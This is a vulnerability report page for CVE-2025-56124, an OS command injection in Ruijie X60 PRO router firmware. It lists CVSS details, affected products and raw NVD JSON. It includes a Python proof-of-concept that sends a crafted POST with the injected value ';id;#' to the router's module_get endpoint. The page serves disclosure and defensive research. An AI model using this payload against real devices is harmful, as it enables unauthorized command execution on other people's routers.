Security Vulnerability Report
中文
CVE-2025-56124 CVSS 7.8 HIGH

CVE-2025-56124

Published: 2025-12-11 19:15:58
Last Modified: 2025-12-18 02:12:01

Description

OS Command Injection vulnerability in Ruijie X60 PRO X60_10212014RG-X60 PRO V1.00/V2.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/networkConnect.lua.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-x60_pro_firmware:1.021.2014:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-x60_pro:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:ruijie:rg-x60_pro:2.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-ew1200_firmware:3.0\(1\)b11p301:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew1200:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie X60 PRO V1.00
Ruijie X60 PRO V2.00
X60_10212014RG-X60 PRO V1.00
X60_10212014RG-X60 PRO V2.00

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-56124 PoC - Ruijie X60 PRO OS Command Injection # Target: Ruijie X60 PRO Router # Vulnerability: OS Command Injection in /usr/local/lua/dev_sta/networkConnect.lua target_ip = "192.168.1.1" # Replace with target router IP target_port = 80 url = f"http://{target_ip}:{target_port}/cgi-bin/luci/api/module_get" # Payload to inject OS command (id command for verification) payload = { "module": "networkConnect", "action": "connect", "param": ";id;#" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56124", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:57.723", "lastModified": "2025-12-18T02:12:00.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie X60 PRO X60_10212014RG-X60 PRO V1.00/V2.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_get in file /usr/local/lua/dev_sta/networkConnect.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-x60_pro_firmware:1.021.2014:*:*:*:*:*:*:*", "matchCriteriaId": "59DD81AE-54F2-4CCB-B915-4BB6B06919EB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-x60_pro:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "1ADF39A4-F487-4E51-B136-0132EF49715F"}, {"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-x60_pro:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "EF3FFCD9-A3A2-4179-AD74-5FC60BFAD8A2"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew1200_firmware:3.0\\(1\\)b11p301:*:*:*:*:*:*:*", "matchCriteriaId": "1E84F721-6EA6-487A-9869-E7ED30D5428E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1200:-:*:*:*:*:*:*:*", "matchCriteriaId": "B785D7D6-91F2-484B-9052-A95CBF5557AF"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EqOEJce7qVtBlzpFonUkSfYBz09eegk6KowUdpDNexgUvw?e=qfwDKh", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EWnUygFXeTVNigjp81gJ3LQBJ-hCSb_Yq4gGIMxlan7uJg?e=emOIoc", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56124.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}